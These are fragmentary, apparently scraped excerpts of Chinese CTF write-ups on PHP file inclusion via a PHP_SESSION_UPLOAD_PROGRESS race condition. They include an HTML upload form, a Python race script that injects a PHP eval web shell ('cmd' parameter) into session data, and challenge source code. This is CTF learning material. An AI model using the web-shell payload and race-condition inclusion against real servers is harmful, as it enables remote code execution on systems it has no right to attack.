<!DOCTYPEhtml><html><body><formaction="http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/"method="POST"enctype="multipart/form-data"><inputtype="hidden"name="PHP_SESSION_UPLOAD_PROGRESS"value="123"/><inputtype="file"name="file"/><inputtype="submit"value="submit"/><...
url = "http://6832d07b-9f5d-445f-aee4-40905b7ed00d.chall.ctf.show/"def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt', ...
通过观察代码,可以看到过滤了⼤部分的⽂件包含函数,这⾥我们利⽤PHP_SESSION_UPLOAD_PROGRESS加条件竞争进⾏⽂件包含 以POST的形式发包,传的⽂件随意 <!DOCTYPE html> <html> <body> <form action="http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/" method="POST" enc...
ctf题目 在最近,全国大学生信息安全竞赛中有一题justsoso,其中一个页面的代码如下。 <html> php error_reporting(0); $file=$_GET["file"]; $payload=$_GET["payload"]; if(!isset($file)){ echo'Missing parameter'.' '; } if(preg_match("/flag/",$file)){ die('hack attacked!!!'); } @...